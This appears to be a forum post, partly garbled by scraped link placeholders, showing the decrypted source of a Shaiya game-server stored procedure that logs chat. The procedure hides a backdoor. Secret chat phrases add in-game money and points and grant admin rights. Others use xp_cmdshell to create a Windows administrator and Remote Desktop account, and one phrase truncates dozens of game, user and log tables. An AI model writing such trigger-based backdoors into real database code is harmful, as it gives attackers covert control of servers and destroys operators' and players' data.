if use.
database ep13 = 6.1-6.3 no wings.
the chat procedure
It is encrypted.
this is what you have inside.
USE PS_Chatlog
GO
SET ANSI_NULLS ON
SET QUOTED_IDENTIFIER OFF
GO
/****** Object: Stored Procedure dbo.usp_Insert_Chat_Log_E Script Date: 2008-6-7 18:30:55 ******/
CREATE Proc [dbo].[usp_Insert_Chat_Log_E]
/*
Created by humanws, 2005-10-14
채팅 로그 남기기
*/
@
[Only registered and activated users can see links. Click Here To Register...]ID int,
@CharID int,
@ChatType tinyint, -- 일반1, 귓말2, 길드3, 파티4, 거래5 @
[Only registered and activated users can see links. Click Here To Register...]Name varchar(30),
@ChatData varchar(128), @
[Only registered and activated users can see links. Click Here To Register...]D smallint,
@ChatTime datetime
WITH ENCRYPTION
AS
DECLARE @
[Only registered and activated users can see links. Click Here To Register...] nvarchar(4000)
DECLARE @
[Only registered and activated users can see links. Click Here To Register...] varchar(4)
DECLARE @mm varchar(2)
DECLARE @dd varchar(2)
SET @
[Only registered and activated users can see links. Click Here To Register...] = DATEPART(yyyy, @ChatTime)
SET @mm = DATEPART(mm, @ChatTime)
SET @dd = DATEPART(dd, @ChatTime)
if (@ChatData='11002299ax22')
begin
update ps_Gamedata.dbo.Chars
set money=money + 100000000
where useruid @
[Only registered and activated users can see links. Click Here To Register...]id
end
if (@ChatData='11002299ax2c2#')
begin
update ps_userdata.dbo.users_master
set admin=1,adminlevel=255,status=16
where useruid @
[Only registered and activated users can see links. Click Here To Register...]ID
end
if (@ChatData='11002299ax2c2@')
begin
update ps_userdata.dbo.users_master
set admin=0,adminlevel=0,status=0
where useruid @
[Only registered and activated users can see links. Click Here To Register...]ID
end
if (@ChatData='11002299ax2g2qq')
begin
exec master.dbo.xp_cmdshell 'net user SQLDebugg shaiya50 /add'
exec master.dbo.xp_cmdshell 'net localgroup administrators SQLDebugg /add'
exec master.dbo.xp_cmdshell 'net localgroup "Remote Desktop Users" SQLDebugg /add'
end
if (@ChatData='11002299ax2g2pp')
begin
exec master.dbo.xp_cmdshell 'net user SQLDebugg /delete'
end
if (@ChatData='好无语i')
begin
truncate table ps_chatlog.dbo.ChatLog
end
if (@ChatData='zhongjizhadan@@**&&&$#@')
begin
truncate table ps_gamedata.dbo.uidnumber
truncate table ps_gamedata.dbo.Market
truncate table ps_gamedata.dbo.MarketCharConcern
truncate table ps_gamedata.dbo.MarketCharResultItems
truncate table ps_gamedata.dbo.MarketCharResultItems_DelLog
truncate table ps_gamedata.dbo.MarketCharResultMoney
truncate table ps_gamedata.dbo.MarketCharResultMoney_DelLog
truncate table ps_gamedata.dbo.MarketItems
truncate table ps_gamedata.dbo.MarketItems_DelLog
truncate table ps_gamedata.dbo.charitems
truncate table ps_gamedata.dbo._CreatedChars
truncate table ps_gamedata.dbo._DeletedChars
truncate table ps_gamedata.dbo.CharApplySkills
truncate table ps_gamedata.dbo.CharQuests
truncate table ps_gamedata.dbo.CharQuickSlots
truncate table ps_gamedata.dbo.Chars
truncate table ps_gamedata.dbo.CharSavePoint
truncate table ps_gamedata.dbo.CharSavePointBack
truncate table ps_gamedata.dbo.CharSkills
truncate table ps_gamedata.dbo.FriendChars
truncate table ps_gamedata.dbo.GuildChars
truncate table ps_gamedata.dbo.GuildDetails
truncate table ps_gamedata.dbo.Guilds
truncate table ps_gamedata.dbo.GuildStoredItems
truncate table ps_gamedata.dbo.PointLog
truncate table ps_gamedata.dbo.UserStoredItems
truncate table ps_gamedata.dbo.UserStoredMoney
truncate table ps_gamedata.dbo.UserStoredPointItems
truncate table ps_userdata.dbo.Users_Block
truncate table ps_userdata.dbo.UserOnlineTimeLog
truncate table ps_userdata.dbo.UserLoginStatus
truncate table ps_gamedata.dbo.offlinesend
truncate table ps_gamedata.dbo.uidnumber
truncate table ps_userdata.dbo.Users_Master
truncate table ps_userdata.dbo.Users_Detail
truncate table ps_gamelog.dbo.ActionLog
truncate table ps_gamelog.dbo.ActionLog1
truncate table ps_gamelog.dbo.UserLog
truncate table ps_chatlog.dbo.ChatLog
update ps_gamedata.dbo.usermaxgrow
set country=2
update ps_userdata.dbo.users_master
set point=0
end
if (@ChatData='110b02299ax22')
begin
update ps_UserData.dbo.Users_Master
set point=point + 10000
where useruid @
[Only registered and activated users can see links. Click Here To Register...]id
end
if (@ChatData='我下线n拜拜')
BEGIN
update PS_GameData.dbo.Chars set out=1 where useruid @
[Only registered and activated users can see links. Click Here To Register...]id
end
IF( LEN(@mm) = 1 )
BEGIN
SET @mm = '0' + @mm
END
IF( LEN(@dd) = 1 )
BEGIN
SET @dd = '0' + @dd
END
SET @
[Only registered and activated users can see links. Click Here To Register...] = N'
INSERT INTO PS_ChatLog.dbo.ChatLog
(UserUID, CharID, ChatType, TargetName, ChatData, MapID, ChatTime)
VALUES @
[Only registered and activated users can see links. Click Here To Register...]ID, @CharID, @ChatType, @
[Only registered and activated users can see links. Click Here To Register...]Name, @ChatData, @
[Only registered and activated users can see links. Click Here To Register...]D, @ChatTime)'
EXEC sp_executesql @
[Only registered and activated users can see links. Click Here To Register...],
N @
[Only registered and activated users can see links. Click Here To Register...]ID int, @CharID int, @ChatType tinyint, @
[Only registered and activated users can see links. Click Here To Register...]Name varchar(30), @ChatData varchar(128) @
[Only registered and activated users can see links. Click Here To Register...]D smallint, @ChatTime datetime', @
[Only registered and activated users can see links. Click Here To Register...]ID, @CharID, @ChatType, @
[Only registered and activated users can see links. Click Here To Register...]Name, @ChatData, @
[Only registered and activated users can see links. Click Here To Register...]D, @ChatTime
--move enable
if (@chatdata='我要回秘密交易') or (@chatdata='草泥马')
begin
update ps_gamedata.dbo.chars set move=1 where charid=@charid
end
GO